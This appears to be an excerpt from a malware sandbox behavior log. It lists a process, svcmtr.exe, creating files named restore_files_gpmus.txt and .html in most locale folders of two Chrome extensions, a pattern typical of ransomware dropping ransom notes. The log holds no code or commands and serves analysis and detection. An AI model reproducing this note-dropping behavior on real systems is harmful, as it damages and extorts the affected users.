Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.5_0\_locales\de\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.5_0\_locales\el\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.5_0\_locales\el\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.5_0\_locales\en_GB\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.5_0\_locales\en_GB\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.5_0\_locales\en_US\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.5_0\_locales\en_US\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.5_0\_locales\es\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.5_0\_locales\es\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.5_0\_locales\es_419\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.5_0\_locales\es_419\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.5_0\_locales\et\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.5_0\_locales\et\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.5_0\_locales\eu\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.5_0\_locales\eu\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.5_0\_locales\fi\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.5_0\_locales\fi\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.5_0\_locales\fil\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.5_0\_locales\fil\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.5_0\_locales\fr\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.5_0\_locales\fr\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.5_0\_locales\he\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.5_0\_locales\he\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.5_0\_locales\hi\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.5_0\_locales\hi\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.5_0\_locales\hr\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.5_0\_locales\hr\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.5_0\_locales\hu\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.5_0\_locales\hu\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.5_0\_locales\id\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.5_0\_locales\id\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.5_0\_locales\it\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.5_0\_locales\it\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.5_0\_locales\ja\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.5_0\_locales\ja\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.5_0\_locales\ko\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.5_0\_locales\ko\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.5_0\_locales\lt\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.5_0\_locales\lt\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.5_0\_locales\lv\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.5_0\_locales\lv\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.5_0\_locales\ms\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.5_0\_locales\ms\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.5_0\_locales\nl\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.5_0\_locales\nl\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.5_0\_locales\no\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.5_0\_locales\no\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.5_0\_locales\pl\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.5_0\_locales\pl\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.5_0\_locales\pt_BR\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.5_0\_locales\pt_BR\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.5_0\_locales\pt_PT\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.5_0\_locales\pt_PT\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.5_0\_locales\ro\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.5_0\_locales\ro\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.5_0\_locales\ru\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.5_0\_locales\ru\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.5_0\_locales\sk\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.5_0\_locales\sk\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.5_0\_locales\sl\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.5_0\_locales\sl\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.5_0\_locales\sr\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.5_0\_locales\sr\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.5_0\_locales\sv\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.5_0\_locales\sv\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.5_0\_locales\th\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.5_0\_locales\th\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.5_0\_locales\tr\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.5_0\_locales\tr\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.5_0\_locales\uk\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.5_0\_locales\uk\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.5_0\_locales\vi\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.5_0\_locales\vi\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.5_0\_locales\zh_CN\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.5_0\_locales\zh_CN\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.5_0\_locales\zh_TW\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.5_0\_locales\zh_TW\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.5_0\_locales\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.5_0\_locales\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.5_0\_metadata\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.5_0\_metadata\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\ar\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\ar\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\bg\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\bg\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\ca\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\ca\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\cs\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\cs\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\da\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\da\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\de\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\de\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\el\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\el\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\en\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\_locales\en\restore_files_gpmus.html	Jump to behavior
